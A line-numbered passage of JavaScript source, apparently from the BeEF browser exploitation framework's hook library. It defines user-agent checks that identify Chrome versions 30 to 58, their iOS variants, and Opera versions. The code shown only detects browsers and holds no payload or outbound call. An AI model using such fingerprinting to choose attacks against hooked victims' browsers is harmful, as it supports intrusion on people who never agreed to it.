  3639. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
  3640. },
  3641.  
  3642. /**
  3643. * Returns true if Chrome 30.
  3644. * @example: beef.browser.isC30()
  3645. */
  3646. isC30: function () {
  3647. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
  3648. },
  3649.  
  3650. /**
  3651. * Returns true if Chrome for iOS 30.
  3652. * @example: beef.browser.isC30iOS()
  3653. */
  3654. isC30iOS: function () {
  3655. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
  3656. },
  3657.  
  3658. /**
  3659. * Returns true if Chrome 31.
  3660. * @example: beef.browser.isC31()
  3661. */
  3662. isC31: function () {
  3663. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
  3664. },
  3665.  
  3666. /**
  3667. * Returns true if Chrome for iOS 31.
  3668. * @example: beef.browser.isC31iOS()
  3669. */
  3670. isC31iOS: function () {
  3671. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
  3672. },
  3673.  
  3674. /**
  3675. * Returns true if Chrome 32.
  3676. * @example: beef.browser.isC32()
  3677. */
  3678. isC32: function () {
  3679. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
  3680. },
  3681.  
  3682. /**
  3683. * Returns true if Chrome for iOS 32.
  3684. * @example: beef.browser.isC32iOS()
  3685. */
  3686. isC32iOS: function () {
  3687. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
  3688. },
  3689.  
  3690. /**
  3691. * Returns true if Chrome 33.
  3692. * @example: beef.browser.isC33()
  3693. */
  3694. isC33: function () {
  3695. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
  3696. },
  3697.  
  3698. /**
  3699. * Returns true if Chrome for iOS 33.
  3700. * @example: beef.browser.isC33iOS()
  3701. */
  3702. isC33iOS: function () {
  3703. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
  3704. },
  3705.  
  3706. /**
  3707. * Returns true if Chrome 34.
  3708. * @example: beef.browser.isC34()
  3709. */
  3710. isC34: function () {
  3711. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
  3712. },
  3713.  
  3714. /**
  3715. * Returns true if Chrome for iOS 34.
  3716. * @example: beef.browser.isC34iOS()
  3717. */
  3718. isC34iOS: function () {
  3719. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
  3720. },
  3721.  
  3722. /**
  3723. * Returns true if Chrome 35.
  3724. * @example: beef.browser.isC35()
  3725. */
  3726. isC35: function () {
  3727. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
  3728. },
  3729.  
  3730. /**
  3731. * Returns true if Chrome for iOS 35.
  3732. * @example: beef.browser.isC35iOS()
  3733. */
  3734. isC35iOS: function () {
  3735. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
  3736. },
  3737.  
  3738. /**
  3739. * Returns true if Chrome 36.
  3740. * @example: beef.browser.isC36()
  3741. */
  3742. isC36: function () {
  3743. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
  3744. },
  3745.  
  3746. /**
  3747. * Returns true if Chrome for iOS 36.
  3748. * @example: beef.browser.isC36iOS()
  3749. */
  3750. isC36iOS: function () {
  3751. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
  3752. },
  3753.  
  3754. /**
  3755. * Returns true if Chrome 37.
  3756. * @example: beef.browser.isC37()
  3757. */
  3758. isC37: function () {
  3759. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
  3760. },
  3761.  
  3762. /**
  3763. * Returns true if Chrome for iOS 37.
  3764. * @example: beef.browser.isC37iOS()
  3765. */
  3766. isC37iOS: function () {
  3767. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
  3768. },
  3769.  
  3770. /**
  3771. * Returns true if Chrome 38.
  3772. * @example: beef.browser.isC38()
  3773. */
  3774. isC38: function () {
  3775. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
  3776. },
  3777.  
  3778. /**
  3779. * Returns true if Chrome for iOS 38.
  3780. * @example: beef.browser.isC38iOS()
  3781. */
  3782. isC38iOS: function () {
  3783. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
  3784. },
  3785.  
  3786. /**
  3787. * Returns true if Chrome 39.
  3788. * @example: beef.browser.isC39()
  3789. */
  3790. isC39: function () {
  3791. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
  3792. },
  3793.  
  3794. /**
  3795. * Returns true if Chrome for iOS 39.
  3796. * @example: beef.browser.isC39iOS()
  3797. */
  3798. isC39iOS: function () {
  3799. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
  3800. },
  3801.  
  3802. /**
  3803. * Returns true if Chrome 40.
  3804. * @example: beef.browser.isC40()
  3805. */
  3806. isC40: function () {
  3807. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
  3808. },
  3809.  
  3810. /**
  3811. * Returns true if Chrome for iOS 40.
  3812. * @example: beef.browser.isC40iOS()
  3813. */
  3814. isC40iOS: function () {
  3815. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
  3816. },
  3817.  
  3818. /**
  3819. * Returns true if Chrome 41.
  3820. * @example: beef.browser.isC41()
  3821. */
  3822. isC41: function () {
  3823. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
  3824. },
  3825.  
  3826. /**
  3827. * Returns true if Chrome for iOS 41.
  3828. * @example: beef.browser.isC41iOS()
  3829. */
  3830. isC41iOS: function () {
  3831. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
  3832. },
  3833.  
  3834. /**
  3835. * Returns true if Chrome 42.
  3836. * @example: beef.browser.isC42()
  3837. */
  3838. isC42: function () {
  3839. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
  3840. },
  3841.  
  3842. /**
  3843. * Returns true if Chrome for iOS 42.
  3844. * @example: beef.browser.isC42iOS()
  3845. */
  3846. isC42iOS: function () {
  3847. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
  3848. },
  3849.  
  3850. /**
  3851. * Returns true if Chrome 43.
  3852. * @example: beef.browser.isC43()
  3853. */
  3854. isC43: function () {
  3855. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
  3856. },
  3857.  
  3858. /**
  3859. * Returns true if Chrome for iOS 43.
  3860. * @example: beef.browser.isC43iOS()
  3861. */
  3862. isC43iOS: function () {
  3863. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
  3864. },
  3865.  
  3866. /**
  3867. * Returns true if Chrome 44.
  3868. * @example: beef.browser.isC44()
  3869. */
  3870. isC44: function () {
  3871. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
  3872. },
  3873.  
  3874. /**
  3875. * Returns true if Chrome for iOS 44.
  3876. * @example: beef.browser.isC44iOS()
  3877. */
  3878. isC44iOS: function () {
  3879. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
  3880. },
  3881.  
  3882. /**
  3883. * Returns true if Chrome 45.
  3884. * @example: beef.browser.isC45()
  3885. */
  3886. isC45: function () {
  3887. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
  3888. },
  3889.  
  3890. /**
  3891. * Returns true if Chrome for iOS 45.
  3892. * @example: beef.browser.isC45iOS()
  3893. */
  3894. isC45iOS: function () {
  3895. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
  3896. },
  3897.  
  3898. /**
  3899. * Returns true if Chrome 46.
  3900. * @example: beef.browser.isC46()
  3901. */
  3902. isC46: function () {
  3903. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
  3904. },
  3905.  
  3906. /**
  3907. * Returns true if Chrome for iOS 46.
  3908. * @example: beef.browser.isC46iOS()
  3909. */
  3910. isC46iOS: function () {
  3911. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
  3912. },
  3913.  
  3914. /**
  3915. * Returns true if Chrome 47.
  3916. * @example: beef.browser.isC47()
  3917. */
  3918. isC47: function () {
  3919. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
  3920. },
  3921.  
  3922. /**
  3923. * Returns true if Chrome for iOS 47.
  3924. * @example: beef.browser.isC47iOS()
  3925. */
  3926. isC47iOS: function () {
  3927. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
  3928. },
  3929.  
  3930. /**
  3931. * Returns true if Chrome 48.
  3932. * @example: beef.browser.isC48()
  3933. */
  3934. isC48: function () {
  3935. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
  3936. },
  3937.  
  3938. /**
  3939. * Returns true if Chrome for iOS 48.
  3940. * @example: beef.browser.isC48iOS()
  3941. */
  3942. isC48iOS: function () {
  3943. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
  3944. },
  3945.  
  3946. /**
  3947. * Returns true if Chrome 49.
  3948. * @example: beef.browser.isC49()
  3949. */
  3950. isC49: function () {
  3951. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
  3952. },
  3953.  
  3954. /**
  3955. * Returns true if Chrome for iOS 49.
  3956. * @example: beef.browser.isC49iOS()
  3957. */
  3958. isC49iOS: function () {
  3959. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
  3960. },
  3961.  
  3962. /**
  3963. * Returns true if Chrome 50.
  3964. * @example: beef.browser.isC50()
  3965. */
  3966. isC50: function () {
  3967. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
  3968. },
  3969.  
  3970. /**
  3971. * Returns true if Chrome for iOS 50.
  3972. * @example: beef.browser.isC50iOS()
  3973. */
  3974. isC50iOS: function () {
  3975. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
  3976. },
  3977.  
  3978. /**
  3979. * Returns true if Chrome 51.
  3980. * @example: beef.browser.isC51()
  3981. */
  3982. isC51: function () {
  3983. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
  3984. },
  3985.  
  3986. /**
  3987. * Returns true if Chrome for iOS 51.
  3988. * @example: beef.browser.isC51iOS()
  3989. */
  3990. isC51iOS: function () {
  3991. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
  3992. },
  3993.  
  3994. /**
  3995. * Returns true if Chrome 52.
  3996. * @example: beef.browser.isC52()
  3997. */
  3998. isC52: function () {
  3999. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
  4000. },
  4001.  
  4002. /**
  4003. * Returns true if Chrome for iOS 52.
  4004. * @example: beef.browser.isC52iOS()
  4005. */
  4006. isC52iOS: function () {
  4007. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
  4008. },
  4009.  
  4010. /**
  4011. * Returns true if Chrome 53.
  4012. * @example: beef.browser.isC53()
  4013. */
  4014. isC53: function () {
  4015. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
  4016. },
  4017.  
  4018. /**
  4019. * Returns true if Chrome for iOS 53.
  4020. * @example: beef.browser.isC53iOS()
  4021. */
  4022. isC53iOS: function () {
  4023. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
  4024. },
  4025.  
  4026. /**
  4027. * Returns true if Chrome 54.
  4028. * @example: beef.browser.isC54()
  4029. */
  4030. isC54: function () {
  4031. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
  4032. },
  4033.  
  4034. /**
  4035. * Returns true if Chrome for iOS 54.
  4036. * @example: beef.browser.isC54iOS()
  4037. */
  4038. isC54iOS: function () {
  4039. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
  4040. },
  4041.  
  4042. /**
  4043. * Returns true if Chrome 55.
  4044. * @example: beef.browser.isC55()
  4045. */
  4046. isC55: function () {
  4047. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
  4048. },
  4049.  
  4050. /**
  4051. * Returns true if Chrome for iOS 55.
  4052. * @example: beef.browser.isC55iOS()
  4053. */
  4054. isC55iOS: function () {
  4055. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
  4056. },
  4057.  
  4058. /**
  4059. * Returns true if Chrome 56.
  4060. * @example: beef.browser.isC56()
  4061. */
  4062. isC56: function () {
  4063. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
  4064. },
  4065.  
  4066. /**
  4067. * Returns true if Chrome for iOS 56.
  4068. * @example: beef.browser.isC56iOS()
  4069. */
  4070. isC56iOS: function () {
  4071. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
  4072. },
  4073.  
  4074. /**
  4075. * Returns true if Chrome 57.
  4076. * @example: beef.browser.isC57()
  4077. */
  4078. isC57: function () {
  4079. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
  4080. },
  4081.  
  4082. /**
  4083. * Returns true if Chrome for iOS 57.
  4084. * @example: beef.browser.isC57iOS()
  4085. */
  4086. isC57iOS: function () {
  4087. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
  4088. },
  4089.  
  4090. /**
  4091. * Returns true if Chrome 58.
  4092. * @example: beef.browser.isC58()
  4093. */
  4094. isC58: function () {
  4095. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
  4096. },
  4097.  
  4098. /**
  4099. * Returns true if Chrome for iOS 58.
  4100. * @example: beef.browser.isC58iOS()
  4101. */
  4102. isC58iOS: function () {
  4103. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
  4104. },
  4105.  
  4106. /**
  4107. * Returns true if Chrome.
  4108. * @example: beef.browser.isC()
  4109. */
  4110. isC: function () {
  4111. return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS();
  4112. },
  4113.  
  4114. /**
  4115. * Returns true if Opera 9.50 through 9.52.
  4116. * @example: beef.browser.isO9_52()
  4117. */
  4118. isO9_52: function () {
  4119. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  4120. },
  4121.  
  4122. /**
  4123. * Returns true if Opera 9.60 through 9.64.
  4124. * @example: beef.browser.isO9_60()
  4125. */
  4126. isO9_60: function () {
  4127. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  4128. },
  4129.  
  4130. /**
  4131. * Returns true if Opera 10.xx.
  4132. * @example: beef.browser.isO10()
  4133. */
  4134. isO10: function () {
  4135. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  4136. },
  4137.  
  4138. /**
  4139. * Returns true if Opera 11.xx.
  4140. * @example: beef.browser.isO11()
  4141. */
  4142. isO11: function () {
  4143. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  4144. },
  4145.  
  4146. /**
  4147. * Returns true if Opera 12.xx.
  4148. * @example: beef.browser.isO12()
  4149. */
  4150. isO12: function () {
  4151. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
  4152. },
  4153.  
  4154. /**
  4155. * Returns true if Opera.
  4156. * @example: beef.browser.isO()
  4157. */
  4158. isO: function () {
  4159. return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
  4160. },
  4161.  
  4162. /**
  4163. * Returns a hash of string keys representing a given capability
  4164. * @example: beef.browser.capabilities()["navigator.plugins"]
  4165. */
  4166. capabilities: function () {
  4167. var out = {};
  4168. var type = this.type();
  4169.  
  4170. out["navigator.plugins"] = (type.IE11 || !type.IE);
  4171.  
  4172. return out;
  4173. },
  4174.  
  4175. /**
  4176. * Returns the type of browser being used.
  4177. * @example: beef.browser.type().IE6
  4178. * @example: beef.browser.type().FF
  4179. * @example: beef.browser.type().O
  4180. */
  4181. type: function () {
  4182.  
  4183. return {
  4184. C5: this.isC5(), // Chrome 5
  4185. C6: this.isC6(), // Chrome 6
  4186. C7: this.isC7(), // Chrome 7
  4187. C8: this.isC8(), // Chrome 8
  4188. C9: this.isC9(), // Chrome 9
  4189. C10: this.isC10(), // Chrome 10
  4190. C11: this.isC11(), // Chrome 11
  4191. C12: this.isC12(), // Chrome 12
  4192. C13: this.isC13(), // Chrome 13
  4193. C14: this.isC14(), // Chrome 14
  4194. C15: this.isC15(), // Chrome 15
  4195. C16: this.isC16(), // Chrome 16
  4196. C17: this.isC17(), // Chrome 17
  4197. C18: this.isC18(), // Chrome 18
  4198. C19: this.isC19(), // Chrome 19
  4199. C19iOS: this.isC19iOS(), // Chrome 19 on iOS
  4200. C20: this.isC20(), // Chrome 20
  4201. C20iOS: this.isC20iOS(), // Chrome 20 on iOS
  4202. C21: this.isC21(), // Chrome 21
  4203. C21iOS: this.isC21iOS(), // Chrome 21 on iOS
  4204. C22: this.isC22(), // Chrome 22
  4205. C22iOS: this.isC22iOS(), // Chrome 22 on iOS
  4206. C23: this.isC23(), // Chrome 23
  4207. C23iOS: this.isC23iOS(), // Chrome 23 on iOS
  4208. C24: this.isC24(), // Chrome 24
  4209. C24iOS: this.isC24iOS(), // Chrome 24 on iOS
  4210. C25: this.isC25(), // Chrome 25
  4211. C25iOS: this.isC25iOS(), // Chrome 25 on iOS
  4212. C26: this.isC26(), // Chrome 26
  4213. C26iOS: this.isC26iOS(), // Chrome 26 on iOS
  4214. C27: this.isC27(), // Chrome 27
  4215. C27iOS: this.isC27iOS(), // Chrome 27 on iOS
  4216. C28: this.isC28(), // Chrome 28
  4217. C28iOS: this.isC28iOS(), // Chrome 28 on iOS
  4218. C29: this.isC29(), // Chrome 29
  4219. C29iOS: this.isC29iOS(), // Chrome 29 on iOS
  4220. C30: this.isC30(), // Chrome 30
  4221. C30iOS: this.isC30iOS(), // Chrome 30 on iOS
  4222. C31: this.isC31(), // Chrome 31
  4223. C31iOS: this.isC31iOS(), // Chrome 31 on iOS
  4224. C32: this.isC32(), // Chrome 32
  4225. C32iOS: this.isC32iOS(), // Chrome 32 on iOS
  4226. C33: this.isC33(), // Chrome 33
  4227. C33iOS: this.isC33iOS(), // Chrome 33 on iOS
  4228. C34: this.isC34(), // Chrome 34
  4229. C34iOS: this.isC34iOS(), // Chrome 34 on iOS
  4230. C35: this.isC35(), // Chrome 35
  4231. C35iOS: this.isC35iOS(), // Chrome 35 on iOS
  4232. C36: this.isC36(), // Chrome 36
  4233. C36iOS: this.isC36iOS(), // Chrome 36 on iOS
  4234. C37: this.isC37(), // Chrome 37
  4235. C37iOS: this.isC37iOS(), // Chrome 37 on iOS
  4236. C38: this.isC38(), // Chrome 38
  4237. C38iOS: this.isC38iOS(), // Chrome 38 on iOS
  4238. C39: this.isC39(), // Chrome 39
  4239. C39iOS: this.isC39iOS(), // Chrome 39 on iOS
  4240. C40: this.isC40(), // Chrome 40
  4241. C40iOS: this.isC40iOS(), // Chrome 40 on iOS
  4242. C41: this.isC41(), // Chrome 41
  4243. C41iOS: this.isC41iOS(), // Chrome 41 on iOS
  4244. C42: this.isC42(), // Chrome 42
  4245. C42iOS: this.isC42iOS(), // Chrome 42 on iOS
  4246. C43: this.isC43(), // Chrome 43
  4247. C43iOS: this.isC43iOS(), // Chrome 43 on iOS
  4248. C44: this.isC44(), // Chrome 44
  4249. C44iOS: this.isC44iOS(), // Chrome 44 on iOS
  4250. C45: this.isC45(), // Chrome 45
  4251. C45iOS: this.isC45iOS(), // Chrome 45 on iOS
  4252. C46: this.isC46(), // Chrome 46
  4253. C46iOS: this.isC46iOS(), // Chrome 46 on iOS
  4254. C47: this.isC47(), // Chrome 47
  4255. C47iOS: this.isC47iOS(), // Chrome 47 on iOS
  4256. C48: this.isC48(), // Chrome 48
  4257. C48iOS: this.isC48iOS(), // Chrome 48 on iOS
  4258. C49: this.isC49(), // Chrome 49
  4259. C49iOS: this.isC49iOS(), // Chrome 49 on iOS
  4260. C50: this.isC50(), // Chrome 50
  4261. C50iOS: this.isC50iOS(), // Chrome 50 on iOS
  4262. C51: this.isC51(), // Chrome 51
  4263. C51iOS: this.isC51iOS(), // Chrome 51 on iOS
  4264. C52: this.isC52(), // Chrome 52
  4265. C52iOS: this.isC52iOS(), // Chrome 52 on iOS
  4266. C53: this.isC53(), // Chrome 53
  4267. C53iOS: this.isC53iOS(), // Chrome 53 on iOS
  4268. C54: this.isC54(), // Chrome 54
  4269. C54iOS: this.isC54iOS(), // Chrome 54 on iOS
  4270. C55: this.isC55(), // Chrome 55
